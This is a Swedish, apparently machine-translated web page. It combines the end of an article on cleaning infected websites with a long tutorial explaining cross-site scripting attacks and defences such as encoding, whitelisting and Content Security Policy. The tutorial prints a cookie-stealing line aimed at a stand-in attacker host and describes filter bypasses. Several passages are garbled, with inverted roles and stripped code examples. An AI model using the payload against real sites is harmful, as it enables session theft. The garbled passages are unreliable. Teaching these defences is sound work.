    Naturligtvis måste du alltid veta vad du ska leta efter - inte alla resultat indikerar en infektion. Det är en bra idé att kontrollera misstänkta delar av koden med en antivirusskanner eller försöka söka efter dem på Google. Det är mycket troligt att du hittar några svar - för både skadlig och ren kod. Om du fortfarande är osäker på om en fil är infekterad är det bäst att avaktivera webbplatsen (för säkerhets skull) och söka professionell rådgivning innan du vidtar någon åtgärd.

    Mycket viktigt!

    Förutom att rensa filer på servern är det nödvändigt att utföra en fullständig antivirusskanning av alla datorer som används för att ladda upp och hantera innehåll på servern och ändra all åtkomstdata till alla konton på servern (FTP, SSH, kontrollpaneler) , etc.) som du underhåller .

    Grunderna för webbplatssäkerhet

    Tyvärr räcker det i de flesta fall inte att ta bort skadlig kod för att bli av med infektionen en gång för alla. Om din webbplats är infekterad kan detta indikera förekomsten av sårbarheter som gjorde det möjligt för cyberbrottslingar att injicera skadliga skript i servern; och om du lämnar detta problem utan uppsikt kommer du att möta nya infektioner inom en snar framtid. För att förhindra detta måste du vidta lämpliga åtgärder för att skydda servern och datorn/datorerna som används för att administrera servern.

    • Använd starka lösenord. Även om detta råd kan låta trivialt, är det verkligen grunden för serversäkerhet. Det är inte bara nödvändigt att byta lösenord efter varje incident och/eller attack mot servern – de måste bytas regelbundet, till exempel månadsvis. Bra lösenord måste uppfylla särskilda kriterier, som finns på www.kaspersky.com/passwords ;
    • Regelbunden uppdatering. Det är också nödvändigt att inte glömma regelbundna uppdateringar. Cyberbrottslingar utnyttjar ofta sårbarheter i mjukvaran oavsett var skadlig programvara är mål - oavsett om den riktar sig till PC-användare eller webbplatser. Alla program som du hanterar din server/webbplats med bör vara mest senaste versionerna, och varje säkerhetsuppdatering måste installeras så snart den släpps. Användande nuvarande versioner Programvara och snabb installation av alla nödvändiga patchar hjälper till att minska risken för attacker med utnyttjande. En regelbundet uppdaterad lista över kända sårbarheter finns på http://cve.mitre.org/;
    • Regelbundna säkerhetskopieringar. Att ha en ren kopia av serverinnehåll i lager kommer att spara mycket tid och ansträngning, för att inte tala om färskt säkerhetskopior kan, förutom att behandla infektion, vara mycket användbar för att lösa andra problem;
    • Regelbunden kontroll av filer. Även i frånvaro av uppenbara symtom på infektion, rekommenderas det att regelbundet skanna alla filer på servern för att identifiera skadlig kod;
    • Säkerställa PC-säkerhet. Eftersom en betydande mängd skadlig programvara för webbplatser sprids via infekterade datorer, är säkerheten för den stationära datorn som används för att hantera din webbplats en hög prioritet för webbplatsens säkerhet. Att ständigt hålla din dator ren och säker ökar avsevärt sannolikheten för att din webbplats också blir säker och virusfri.
    • Följande åtgärder bör vara obligatoriska (men inte tillräckliga):
      • ta bort oanvända program;
      • avaktivering av onödiga tjänster och moduler;
      • inrätta lämpliga policyer för enskilda användare och användargrupper;
      • ställa in adekvata åtkomsträttigheter till vissa filer och kataloger;
      • inaktivera visningen av filer och kataloger på webbservern;
      • underhålla händelseloggar som regelbundet kontrolleras för misstänkt aktivitet;
      • användning av kryptering och säkra protokoll.

    Skadlig programvara utformad för att infektera webbplatser kan vara en mardröm för webbadministratörer och internetanvändare. Cyberkriminella utvecklar ständigt sin teknik och upptäcker nya bedrifter. Skadlig programvara sprids snabbt över Internet och påverkar servrar och arbetsstationer. Det är rättvist att säga att det inte finns något tillförlitligt sätt att helt eliminera detta hot. Men varje webbplatsägare och varje internetanvändare kan göra internet säkrare genom att följa grundläggande säkerhetsregler och hålla sina webbplatser och datorer säkra och rena hela tiden.

    Lämna din kommentar!

    Och är en omfattande handledning om cross-site scripting.

    Del ett: Översikt Vad är XSS?

    Cross-site scripting ( engelska Skripting på flera webbplatser) är en kodinjektionsattack som gör att en angripare kan köra skadlig JavaScript i en annan användares webbläsare.

    Angriparen attackerar inte sitt offer direkt. Istället utnyttjar den en sårbarhet på webbplatsen som offret besöker och injicerar skadlig JavaScript-kod. I offrets webbläsare visas den skadliga JavaScript-koden som en legitim del av webbplatsen, och själva webbplatsen fungerar som en direkt medbrottsling till angriparen.

    Injektion av skadlig JavaScript-kod

    Det enda sättet för en angripare att köra skadlig JavaScript i offrets webbläsare är att injicera det på en av sidorna som offret laddar från webbplatsen. Detta är möjligt om en webbplats tillåter användare att ange data på sina sidor, och angriparen kan infoga en sträng som kommer att upptäckas som en del av koden i offrets webbläsare.

    Exemplet nedan visar ett enkelt skript på serversidan som används för att visa den senaste kommentaren på en webbplats:

    skriv ut ""
    print "Sista kommentar:"
    print database.latestComment
    skriv ut ""

    Manuset förutsätter att kommentaren endast består av text. Men eftersom direkt användarinmatning är aktiverad kan en angripare lämna denna kommentar: "...". Alla användare som besöker sidan kommer nu att få följande svar:


    Sista kommentaren:
    ...

    När användarens webbläsare laddar sidan kommer den att köra allt, inklusive JavaScript-koden som finns inuti . Angriparen genomförde attacken framgångsrikt.

    Vad är skadlig JavaScript?

    Möjligheten att köra JavaScript i offrets webbläsare kanske inte verkar särskilt skadlig. JavaScript körs i en mycket begränsad miljö som har extremt begränsad tillgång till användarfiler och operativsystem. Faktum är att du kan öppna JavaScript-konsolen i din webbläsare just nu och köra vilken JavaScript du vill, och det är mycket osannolikt att du kommer att kunna skada din dator.

    Potentialen för JavaScript-kod att fungera som skadlig kod blir dock tydligare när du tar hänsyn till följande fakta:

    • JavaScript har tillgång till viss känslig användarinformation, såsom cookies.
    • JavaScript kan skicka HTTP-förfrågningar med godtyckligt innehåll i vilken riktning som helst med hjälp av XMLHttpRequest och andra mekanismer.
    • JavaScript kan göra godtyckliga ändringar i HTML-koden för den aktuella sidan med hjälp av DOM-manipulationstekniker.

    Om de kombineras kan dessa fakta orsaka mycket allvarliga säkerhetsöverträdelser, detaljer kommer att följa.

    Konsekvenser av skadlig JavaScript-kod

    Dessutom tillåter möjligheten att köra godtyckligt JavaScript i en annan användares webbläsare en angripare att utföra följande typer av attacker:

    Cookie stöld

    En angripare kan komma åt offrets webbplatsrelaterade cookies med document.cookie , skicka dem till sin egen server och använda dem för att extrahera känslig information som sessions-ID:n.

    Keylogger

    En angripare kan registrera en tangentbordshändelseavlyssnare med addEventListener och sedan skicka alla användarens tangenttryckningar till sin server, vilket kan registrera känslig information som lösenord och kreditkortsnummer.

    Nätfiske

    en angripare kan infoga ett falskt inloggningsformulär på en sida med hjälp av DOM-manipulation, ställa in formulärets åtgärdsattribut till sin egen server och sedan lura användaren att skaffa känslig information.

    Även om dessa attacker skiljer sig markant, har de alla en betydande likhet: eftersom angriparen injicerar kod på sidan som serveras av webbplatsen, körs det skadliga JavaScriptet i sammanhanget för den webbplatsen. Detta innebär att det behandlas som vilket annat skript som helst från den webbplatsen: det har tillgång till offrets data för den webbplatsen (som cookies) och värdnamnet som visas i URL-fältet kommer att vara detsamma som för webbplatsen. För alla ändamål anses skriptet vara en laglig del av webbplatsen, vilket gör att det kan göra allt som webbplatsen själv kan göra.

    Detta faktum belyser en nyckelfråga:

    Om en angripare kan använda din webbplats för att exekvera godtycklig JavaScript-kod i andra användares webbläsare, äventyras säkerheten för din webbplats och dess användare.

    För att understryka denna punkt kommer några skadliga skriptexempel i denna handledning att lämnas utan detaljer, med hjälp av... Detta tyder på att bara närvaron av ett skript som injiceras av en angripare är ett problem, oavsett vilken specifik skriptkod som faktiskt körs.

    Del två: XSS-attack Deltagare i XSS-attacken

    Innan vi i detalj beskriver hur en XSS-attack fungerar måste vi definiera de aktörer som är involverade i en XSS-attack. I allmänhet finns det tre parter i en XSS-attack: webbplatsen, offret och angriparen.

    • Webbplatsen tillhandahåller HTML-sidor till användare som begär dem. I våra exempel finns den på http://webbplats/.
      • En webbplatsdatabas är en databas som lagrar en del av de data som användarna anger på sidorna på en webbplats.
    • Offret är vanlig användare webbplats som begär sidor från den med sin webbläsare.
    • En angripare är en angripare som har för avsikt att starta en attack mot ett offer genom att utnyttja en XSS-sårbarhet på en webbplats.
      • En angripares server är en webbserver som kontrolleras av en angripare med det enda syftet att stjäla offrets konfidentiella information. I våra exempel finns den på http://attacker/.
    Exempel på attackscenario


    window.location="http://attacker/?cookie="+dokument.cookie

    Detta skript kommer att skapa en HTTP-begäran till en annan URL, som omdirigerar användarens webbläsare till angriparens server. URL:en innehåller offrets cookies som en begäran-parameter, när en HTTP-förfrågan kommer till angriparens server kan angriparen extrahera dessa cookies från begäran. När angriparen väl har fått kakorna kan han använda dem för att imitera offret och starta en efterföljande attack.

    Från och med nu kommer HTML-koden som visas ovan att kallas en skadlig sträng eller skadligt skript. Det är viktigt att förstå att själva strängen bara är skadlig om den i slutändan renderas som HTML i offrets webbläsare, och detta kan bara hända om det finns en XSS-sårbarhet på webbplatsen.

    Hur denna exempelattack fungerar

    Diagrammet nedan visar ett exempel på en attack av en angripare:

  • Angriparen använder en av webbplatsens formulär för att infoga en skadlig sträng i webbplatsens databas.
  • Offret begär en sida från en webbplats.
  • Webbplatsen inkluderar en skadlig databassträng i svaret och skickar den till offret.
  • Offrets webbläsare kör ett skadligt skript inuti svaret och skickar offrets cookie till angriparens server.
    • XSS-typer

    Målet med en XSS-attack är alltid att utföra skadliga effekter JavaScript-skript i offrets webbläsare. Det finns flera fundamentalt olika sätt att uppnå detta mål. XSS-attacker delas ofta in i tre typer:

    • Lagrad (beständig) XSS, där den skadliga strängen kommer från webbplatsens databas.
    • Reflekterad (icke-beständig) XSS, där den skadliga strängen genereras från offrets begäran.
    • XSS DOM, där sårbarheten uppstår i kod på klientsidan snarare än kod på serversidan.

    Det föregående exemplet visar en lagrad XSS-attack. Vi kommer nu att beskriva två andra typer av XSS-attacker: reflekterade XSS- och DOM XSS-attacker.

    Reflekterad XSS

    I en reflekterad XSS-attack är den skadliga strängen en del av offrets begäran till webbplatsen. Webbplatsen accepterar och infogar denna skadliga sträng i svaret som skickas tillbaka till användaren. Diagrammet nedan illustrerar detta scenario:

  • Offret lurar angriparen att skicka en URL-förfrågan till webbplatsen.
  • Webbplatsen innehåller en skadlig sträng från URL-begäran i svaret till offret.
  • Offrets webbläsare kör det skadliga skriptet som finns i svaret och skickar offrets cookies till angriparens server.

    • Hur genomför man framgångsrikt en reflekterad XSS-attack?

    En reflekterad XSS-attack kan verka ofarlig eftersom den kräver att offret skickar en förfrågan på deras vägnar som innehåller en skadlig sträng. Eftersom ingen frivilligt skulle attackera sig själv verkar det inte finnas något sätt att faktiskt genomföra attacken.

    Som det visar sig finns det minst två vanliga sätt att få ett offer att starta en reflekterad XSS-attack mot sig själva:

    • Om användaren är en specifik individ kan angriparen skicka en skadlig URL till offret (till exempel med e-post eller messenger) och lura honom att öppna en länk för att besöka en webbplats.
    • Om målet är en stor grupp användare kan angriparen lägga upp en länk till en skadlig URL (till exempel på sin egen webbplats eller socialt nätverk) och vänta på att besökarna ska följa länken.

    Båda dessa metoder liknar varandra, och båda kan vara mer framgångsrika med användning av URL-förkortningstjänster, som kommer att maskera den skadliga strängen från användare som kanske kan identifiera den.

    XSS i DOM

    XSS i DOM är en variant av både lagrade och reflekterade XSS-attacker. I denna XSS-attack bearbetas inte den skadliga strängen av offrets webbläsare förrän webbplatsens faktiska JavaScript körs. Diagrammet nedan illustrerar detta scenario för en reflekterad XSS-attack:

  • Angriparen skapar en URL som innehåller en skadlig sträng och skickar den till offret.
  • Offret lurar angriparen att skicka en URL-förfrågan till webbplatsen.
  • Webbplatsen accepterar begäran, men inkluderar inte den skadliga strängen i svaret.
  • Offrets webbläsare kör det legitima skriptet som finns i svaret, vilket gör att det skadliga skriptet infogas på sidan.
  • Offrets webbläsare kör ett skadligt skript som infogas på sidan och skickar offrets cookies till angriparens server.
    • Vad är skillnaden mellan XSS i DOM?

    I de tidigare exemplen på lagrade och reflekterade XSS-attacker infogar servern ett skadligt skript på en sida, som sedan vidarebefordras som ett svar till offret. När offrets webbläsare tar emot svaret antar den att det skadliga skriptet är en del av sidans legitima innehåll och kör det automatiskt när sidan laddas, precis som alla andra skript.

    I exemplet med en XSS-attack i DOM, infogas inte det skadliga skriptet som en del av sidan; det enda skriptet som körs automatiskt när sidan laddas är en legitim del av sidan. Problemet är att detta legitima skript direkt använder användarinmatning för att lägga till HTML på sidan. Eftersom den skadliga strängen infogas på sidan med hjälp av innerHTML tolkas den som HTML, vilket gör att det skadliga skriptet körs.

    Denna skillnad är liten, men mycket viktig:

    • I traditionell XSS exekveras skadlig JavaScript när sidan laddas, som en del av HTML-koden som skickas av servern.
    • I fallet med XSS i DOM, exekveras skadlig JavaScript efter att sidan har laddats, vilket gör att den legitima JavaScript-sidan får åtkomst till användarinmatning (som innehåller den skadliga strängen) på ett osäkert sätt.
    Hur fungerar XSS i DOM?

    Det finns inget behov av JavaScript i föregående exempel; servern kan generera all HTML själv. Om koden på serversidan inte innehöll sårbarheter skulle webbplatsen inte vara mottaglig för en XSS-sårbarhet.

    Men i takt med att webbapplikationer blir mer avancerade genereras fler och fler HTML-sidor med JavaScript på klientsidan snarare än på servern. Innehållet bör när som helst ändras utan att hela sidan uppdateras, detta är möjligt med JavaScript. Detta är särskilt fallet när sidan uppdateras efter en AJAX-förfrågan.

    Detta innebär att XSS-sårbarheter inte bara kan finnas i serversidans kod på din webbplats, utan även i JavaScript-koden på klientsidan på din webbplats. Därför, även med helt säker kod på serversidan, kanske klientkoden fortfarande inte säkert inkluderar användarinmatning vid uppdatering av DOM efter att sidan har laddats. Om detta händer kommer koden på klientsidan att tillåta en XSS-attack att ske utan fel på serversidans kod.

    DOM-baserad XSS kanske inte är synlig för servern

    Det finns ett specialfall av en XSS-attack i DOM där den skadliga strängen aldrig skickas till webbplatsservern: detta inträffar när den skadliga strängen finns i identifierardelen av URL:en (allt efter #-symbolen). Webbläsare skickar inte den här delen av URL:en till servern, så webbplatsen kan inte komma åt den med kod på serversidan. Kod på klientsidan har dock tillgång till det, och därmed är det möjligt att genomföra en XSS-attack genom osäker bearbetning.

    Det här fallet är inte begränsat till fragment-ID. Det finns annan användarinmatning som är osynlig för servern, till exempel nya HTML5-funktioner som LocalStorage och IndexedDB.

    Del tre:
    XSS-förebyggande XSS-förebyggande tekniker

    Kom ihåg att XSS är en kodinjektionsattack: användarinmatning tolkas av misstag som skadlig kod. För att förhindra denna typ av kodinjektion krävs säker ingångshantering. För en webbutvecklare finns det två i grunden olika sätt utför säker indatabehandling:

    • Kodning är en metod som tillåter användaren att endast ange data som data och inte tillåter webbläsaren att behandla det som kod.
    • Validering är ett sätt att filtrera användarinmatning så att webbläsaren tolkar det som kod utan skadliga kommandon.

    Även om dessa är fundamentalt olika XSS-reduceringsmetoder, delar de flera gemensamma funktioner som är viktiga att förstå när du använder någon av dem:

    Sammanhang Säker inmatningshantering måste göras olika beroende på var på sidan användarinmatningen används.

    inkommande/utgående Säker indatabearbetning kan göras antingen när din webbplats tar emot input (inkommande trafik) eller precis innan webbplatsen infogar användarinmatning i sidinnehållet (utgående).

    Klient/server Säker indatabehandling kan göras på antingen klientsidan eller serversidan, varje alternativ behövs under olika omständigheter.

    Innan vi förklarar i detalj hur kodning och validering fungerar kommer vi att beskriva var och en av dessa punkter.

    Hantera användarinput i sammanhang

    Det finns många sammanhang på en webbsida där användarinmatning kan tillämpas. För var och en av dem måste särskilda regler följas för att säkerställa att användarinmatning inte kan undkomma sitt sammanhang och inte kan tolkas som skadlig kod. Följande är de vanligaste sammanhangen:

    Varför spelar sammanhangen roll? I alla de beskrivna sammanhangen kan en XSS-sårbarhet uppstå om användarinmatning infogades före första kodningen eller valideringen. En angripare kan injicera skadlig kod helt enkelt genom att infoga en avslutande avgränsare för detta sammanhang följt av skadlig kod. Till exempel om webbplatsen någon gång involverar användarinmatning direkt till

    HTML-attribut

    , skulle en angripare kunna injicera ett skadligt skript genom att starta sin inmatning med ett citat, som visas nedan:

    Detta skulle kunna förhindras genom att helt enkelt ta bort alla citattecken i användarinmatningen och allt skulle bli bra, men bara i detta sammanhang. Om inmatningen infogades i ett annat sammanhang, kommer den avslutande avgränsaren att vara annorlunda och injektion kommer att vara möjlig. Av denna anledning bör säker ingångshantering alltid anpassas till sammanhanget där användarinmatningen kommer att infogas.

    Problemet är att, som beskrivits tidigare, användarinmatning kan infogas i flera sammanhang på en sida. Och nej enkelt sätt avgöra när användarinmatning anländer i ett sammanhang - hur den i slutändan ska infogas, och samma användarinmatning behöver ofta infogas i olika sammanhang. Genom att förlita oss på att bearbeta inkommande indata för att förhindra XSS skapar vi en mycket spröd lösning som är felbenägen. (De äldre PHP "magiska citat" är ett exempel på en sådan lösning.)

    Istället bör utgående indatabehandling vara din primära försvarslinje mot XSS eftersom den kan ta hänsyn till det specifika sammanhanget för vilken användarinmatning som kommer att infogas. Till viss del kan inkommande validering användas för att lägga till ett sekundärt lager av säkerhet, men mer om det senare.

    Var är det möjligt att hantera användarinmatning säkert?

    I de flesta moderna webbapplikationer bearbetas användarinmatning både på serversidan och på klientsidan. För att skydda mot alla typer av XSS måste säker ingångshantering ske i kod på både serversidan och klientsidan.

    • För att skydda mot traditionell XSS måste säker ingångshantering ske i kod på serversidan. Detta görs med något språk som stöds av servern.
    • För att skydda mot en XSS-attack i DOM, där servern aldrig tar emot en skadlig sträng (som identifieringsfragmentattacken som beskrivits tidigare), måste säker ingångshantering göras i kod på klientsidan. Detta görs med hjälp av JavaScript.

    Nu när vi har förklarat varför sammanhanget är viktigt, varför skillnaden mellan inkommande och utgående indatabehandling är viktig och varför säker ingångsbehandling måste göras på båda sidor, klientsidan och serversidan, kan vi fortsätta med att förklara hur de två typer av säker indatabehandling (kodning och validering) utförs faktiskt.

    Kodning

    Kodning är en väg ut ur en situation där det är nödvändigt för webbläsaren att endast tolka användarinmatning som data, och inte kod. Den mest populära typen av kodning inom webbutveckling är HTML-maskering, som omvandlar tecken som t.ex< и >V< и >respektive.

    Följande pseudokod är ett exempel på hur användarinmatning (användarinmatning) kan kodas med använder HTML maskering och sedan infogas på sidan med hjälp av ett serverskript:

    skriv ut ""
    skriv ut "Sista kommentar: "
    print encodeHtml(userInput)
    skriv ut ""

    Om användaren anger följande rad... kommer den resulterande HTML-koden att se ut så här:


    Sista kommentaren:
    ...

    Eftersom alla tecken med speciell betydelse har escapets kommer webbläsaren inte att analysera någon del av användarinmatningen som HTML.

    Kodning av klient- och serverkod

    När du utför kodning på klientsidan, använd alltid JavaScript-språk, som har inbyggda funktioner som kodar data för olika sammanhang.

    När du gör kodningen i din kod på serversidan litar du på de funktioner som finns tillgängliga på ditt språk eller ramverk. På grund av det stora antalet tillgängliga språk och ramverk kommer denna handledning inte att täcka detaljerna om kodning i något specifikt serverspråk eller ramverk. Men JavaScript-kodningsfunktioner som används på klientsidan används också när man skriver kod på serversidan.

    Kodning på klientsidan

    När du kodar användarinmatning på klientsidan med JavaScript, finns det flera inbyggda metoder och egenskaper som automatiskt kodar all data i en sammanhangskänslig stil:

    Det sista sammanhanget som redan nämnts ovan (värden i JavaScript) ingår inte i denna lista eftersom JavaScript inte tillhandahåller ett inbyggt sätt att koda data som kommer att inkluderas i källkod JavaScript.

    Kodningsbegränsningar

    Även vid kodning är det möjligt att använda skadliga strängar i vissa sammanhang. Ett tydligt exempel på detta är när användarinmatning används för att tillhandahålla en URL, som i exemplet nedan:

    document.querySelector("a").href = userInput

    Även om man anger ett värde på ett elements href-egenskap automatiskt kodar det så att det inte blir något annat än ett attributvärde, hindrar detta i sig inte en angripare från att infoga en URL som börjar med "javascript:". När en länk klickas, oavsett konstruktion, kommer det inbäddade JavaScriptet i URL:en att köras.

    Kodning är inte heller en effektiv lösning när man vill att användare ska kunna använda en del av HTML-koden på sidan. Ett exempel skulle vara en användarprofilsida där användaren kan använda anpassad HTML. Om denna vanliga HTML är kodad kommer profilsidan endast att kunna bestå av vanlig text.

    I sådana situationer måste kodning kompletteras med validering, vilket vi kommer att titta på senare.

    Godkännande

    Validering är handlingen att filtrera användarinmatning så att alla skadliga delar av den tas bort, utan att behöva ta bort all kod i den. En av de mest använda typerna av validering inom webbutveckling låter dig använda vissa HTML-element (till exempel och ) samtidigt som du inaktiverar andra (till exempel ).

    Det finns två huvudkarakteristiska kontroller som skiljer sig åt i sina implementeringar:

    Klassificeringsstrategi Användarinmatning kan klassificeras med hjälp av svarta eller vitlistor.

    Valideringsresultat Användarinmatning som identifierats som skadlig kan avvisas eller saneras.

    Klassificeringsstrategi Svartlista Instinktivt verkar det lämpligt att utföra kontrollen genom att definiera ett förbjudet mönster som inte ska visas i användarinmatning. Om en linje matchar detta mönster markeras den som ogiltig. Tillåt till exempel användare att skicka anpassade webbadresser med vilket protokoll som helst förutom javascript: . Denna klassificeringsstrategi kallas.

    svartlista

    Den svarta listan har dock två huvudsakliga nackdelar: Svårigheten att korrekt beskriva uppsättningen av alla möjliga skadliga strängar är vanligtvis en mycket svår uppgift. Exempelpolicyn som beskrivs ovan kan inte implementeras framgångsrikt genom att helt enkelt söka efter delsträngen "javascript" eftersom den skulle sakna en sträng som "Javascript:" (där den första bokstaven i versal

    ) och "javascript:" (där den första bokstaven är kodad som en numerisk teckenreferens).

    Utfasning Även om en perfekt svartlista utvecklades skulle det vara värdelöst om en ny funktion som lagts till i webbläsaren kunde användas för attack. Till exempel, om en svartlista för HTML-validering utvecklades innan onmousewheel-attributet introducerades i HTML5, skulle det inte kunna stoppa en angripare från att använda detta attribut för att utföra en XSS-attack. Denna nackdel är särskilt viktig inom webbutveckling, som består av många olika teknologier som ständigt uppdateras.

    På grund av dessa brister avråds svartlistning starkt som en klassificeringsstrategi. Vitlistning är generellt sett ett mycket säkrare tillvägagångssätt, vilket vi kommer att beskriva härnäst.är i huvudsak motsatsen till en svartlista: istället för att identifiera ett förbjudet mönster, identifierar vitlistans tillvägagångssätt ett tillåtet mönster och markerar inmatningen som ogiltig om den överensstämmer inte denna mall.

    Till skillnad från svarta listor skulle ett exempel på vitlistor vara att tillåta användare att skicka in anpassade webbadresser som bara innehåller http: och https:-protokollen, inget mer. Detta tillvägagångssätt skulle tillåta en URL att automatiskt markeras som ogiltig om den innehåller protokollet javascript:, även om det representeras som "Javascript:" eller "javascript:".

    Jämfört med en svartlista har vitlistor två huvudsakliga fördelar:

    Enkelhet Att noggrant beskriva uppsättningen av godartade strängar är vanligtvis mycket lättare än att identifiera uppsättningen av alla skadliga strängar. Detta är särskilt tillämpligt i allmänna situationer där användarinmatning måste innehålla en mycket begränsad uppsättning funktionalitet tillgänglig i webbläsaren. Till exempel tillåter vitlistan som beskrivs ovan mycket enkelt URL:er att endast användas med HTTP: eller https: protokollen tillåtna, och i de flesta situationer är detta helt tillräckligt för användare. Hållbarhet Till skillnad från en svartlista blir en vitlista i allmänhet inte föråldrad när ny funktion

    läggs till i webbläsaren. Till exempel tillåter validering av HTML-vitlista endast titelattributen för HTML-element att förbli säkra, även om den (vitlistan) utformades innan HTML5-attributet onmousewheel introducerades.

    Valideringsresultat

    När användarinmatning har markerats som ogiltig (förbjuden) kan en av två åtgärder vidtas:

    Att avvisa indata avvisas helt enkelt, vilket förhindrar att den används någon annanstans på webbplatsen. Sanering av alla ogiltiga delar av indata tas bort och resterande indata används på webbplatsen som vanligt. Av de två är avböjning det enklaste sättet att implementera. Men desinfektion anses vara mer användbart eftersom det ger ett bredare utbud av input för användaren. Till exempel om en användare skickar ett nummer

    Om du bestämmer dig för att implementera desinfektion, måste du se till att desinfektionsproceduren i sig inte använder en svartlista. Till exempel skulle webbadressen "Javascript:...", även om den identifieras med hjälp av en vitlista som ogiltig, få en förbikopplingsrutin för sanering som helt enkelt tar bort alla instanser av "javascript:". Av denna anledning bör väl beprövade bibliotek och ramverk använda sanering när det är möjligt.

    Vilka metoder bör användas för att förebygga?

    Kodning bör vara din första försvarslinje mot XSS-attacker, dess syfte är att behandla data på ett sådant sätt att webbläsaren inte kan tolka användarinmatning som kod. I vissa fall måste kodning kompletteras med validering. Kodning och validering måste tillämpas på utgående trafik eftersom först då kan du veta i vilket sammanhang användarinmatningen kommer att tillämpas och vilken kodning och validering som behöver tillämpas.

    Som en andra försvarslinje bör du tillämpa inkommande datasanering eller avvisa tydligt ogiltiga användarinmatningar, såsom länkar, med hjälp av javascript:-protokollet. Detta kan inte i sig ge fullständig säkerhet, men det är en användbar försiktighetsåtgärd om någon punkt i kodnings- och valideringsskyddet skulle kunna misslyckas på grund av felaktig exekvering.

    Om dessa två försvarslinjer används konsekvent kommer din webbplats att skyddas från XSS-attacker. Men på grund av komplexiteten i att skapa och underhålla en webbplats kan det vara svårt att tillhandahålla fullständig säkerhet med enbart säker bearbetning av användarinmatning. Som en tredje försvarslinje bör du använda innehållssäkerhetspolicyer ( engelska Innehållssäkerhetspolicy), sedan CSP, som vi kommer att beskriva nedan.

    Content Security Policies (CSP)

    Det räcker inte att endast använda säker användarinmatning för att skydda mot XSS-attacker eftersom ens ett säkerhetsmisstag kan äventyra din webbplats. Att anta Content Security Policies (CSP) från den nya webbstandarden kan minska denna risk.

    CSP:er används för att begränsa en webbläsares användning av en webbsida så att den bara kan använda resurser som laddats ner från betrodda källor. A resurserär skript, stilmallar, bilder eller någon annan typ av fil som refereras till på en sida. Detta innebär att även om en angripare lyckas injicera skadligt innehåll på din webbplats, kommer CSP:n att kunna förhindra att det exekveras.

    CSP kan användas för att upprätthålla följande regler:

    Förbjuda otillförlitliga källor Externa resurser kan endast laddas ner från en uppsättning tydligt definierade betrodda källor.

    Genom att inte tillåta inbäddade resurser kommer inline JavaScript och CSS inte att beaktas.

    Att inaktivera eval förbjuder användningen av eval-funktionen i JavaScript.


    Sista kommentaren:

    CSP i aktion

    I följande exempel lyckades en angripare injicera skadlig kod på en webbsida: Med en korrekt definierad CSP-policy kan webbläsaren inte ladda ner och köra malicious-script.js eftersom http://attacker/ inte är angiven som en pålitlig källa. Även om webbplatsen misslyckades med att på ett tillförlitligt sätt bearbeta användarindata i det här fallet, förhindrade CSP:s policy att sårbarheten orsakade någon skada.Även om angriparen injicerade kod inuti skriptkoden, och inte med en länk till

    extern fil

    , kommer en korrekt konfigurerad CSP-policy också att förhindra injektion i JavaScript-kod, vilket förhindrar sårbarhet och orsakar skada.

    Hur aktiverar man CSP?

    Som standard använder webbläsare inte CSP. För att aktivera SCP på din webbplats måste sidorna innehålla en extra HTTP-rubrik: Content-Security-Policy. Varje sida som innehåller denna rubrik kommer att tillämpa säkerhetspolicyer när den laddas av webbläsaren, förutsatt att webbläsaren stöder CSP.

    Eftersom säkerhetspolicyn skickas med varje HTTP-svar är det möjligt för servern att ställa in policyn individuellt för varje sida. Samma policy kan tillämpas på hela webbplatsen genom att infoga samma CSP-huvud i varje svar.

    Värdet i rubriken Content-Security-Policy innehåller en sträng som definierar en eller flera säkerhetspolicyer som körs på din webbplats. Syntaxen för denna rad kommer att beskrivas nedan.

    Rubrikexemplen i det här avsnittet använder radbrytningar och indrag för att underlätta referensen; de ska inte förekomma i själva titeln.

    CSP-syntax
    CSP-huvudsyntaxen är som följer: Innehållssäkerhetspolicy:, Innehållssäkerhetspolicy:, ...;
    CSP-huvudsyntaxen är som följer: ...;
    ...

    direktiv

    • källuttryck
    • Källuttryck är en modell som beskriver en eller flera servrar från vilka resurser kan laddas.

    För varje direktiv anger data i källuttrycket vilka källor som kan användas för att ladda resurser av motsvarande typ.

    direktiv

    Följande direktiv kan användas i CSP-huvudet:

    • connect-src
    • font-src
    • frame-src
    • img-src
    • media-src
    • objekt-src
    • script-src
    • stil-src

    Utöver detta kan det speciella default-src-direktivet användas för att tillhandahålla ett standardvärde för alla direktiv som inte ingick i rubriken.

    Källuttryck

    Syntaxen för att skapa ett källuttryck är följande:

    protokoll:// värdnamn: portnummer

    Värdnamnet kan börja med *, vilket betyder att alla underdomäner av det angivna värdnamnet kommer att lösas. På samma sätt kan portnumret representeras som *, vilket betyder att alla portar kommer att tillåtas. Dessutom kan protokollet och portnumret utelämnas. Om inget protokoll anges kräver policyn att alla resurser laddas med HTTPS.

    Utöver ovanstående syntax kan källuttrycket alternativt vara ett av fyra nyckelord med speciell betydelse (citat ingår):

    "ingen" inaktiverar resurser.

    "self" tillåter resurser från värden där webbsidan finns.

    "unsafe-inline" löser resurser som finns på sidan som inline-element, element och JavaScript: URLs.

    CSP-syntax
    "unsafe-eval" aktiverar JavaScript-funktionen eval .
    Observera att när CSP används är inbyggda resurser och eval automatiskt inaktiverade som standard. Att använda "unsafe-inline" och "unsafe-eval" är det enda sättet att använda dem.
    Exempelpolicy
    script-src "self" scripts.example.com;

    media-src "ingen";

    • img-src *;
    • default-src "self" http://*.example.com
    • Med denna exempelpolicy kommer webbsidan att ha följande begränsningar:
    • Skript kan bara laddas ner från värden där webbsidan finns och från denna adress: scripts.example.com.
    Ljud- och videofiler är förbjudna att ladda ner.

    Bildfiler kan laddas ner från vilken adress som helst. olika webbläsare. Användningen av HTTP-huvuden kan till exempel skilja sig åt mellan olika webbläsare. Innan du använder CSP, se dokumentationen för de webbläsare du planerar att stödja.

    Sammanfattning Sammanfattning: XSS-översikt
    • En XSS-attack är en kodinjektionsattack som möjliggörs av osäker bearbetning av användarinmatning.
    • En framgångsrik XSS-attack gör att angriparen kan köra skadlig JavaScript i offrets webbläsare.
    • En framgångsrik XSS-attack äventyrar säkerheten för både webbplatsen och dess användare.
    Sammanfattning: XSS-attacker
    • Det finns tre huvudtyper av XSS-attacker:
      • Lagrat XSS, där skadlig indata kommer från webbplatsens databas.
      • Reflekterad XSS, där skadlig input kommer från offrets begäran.
      • XSS-attacker i DOM, där sårbarheten utnyttjas i kod på klientsidan och inte på serversidan.
    • Alla dessa attacker utförs olika, men har samma effekt om de lyckas.
    Sammanfattning: Förhindrar XSS
    • Det viktigaste sättet att förhindra XSS-attacker är att utföra säker indatabearbetning.
      • Kodning måste göras när användarinmatning är aktiverad på sidan.
      • I vissa fall måste kodning ersättas eller kompletteras med validering.
      • Säker inmatningshantering måste ta hänsyn till vilket sidkontext användarinmatningen infogas i.
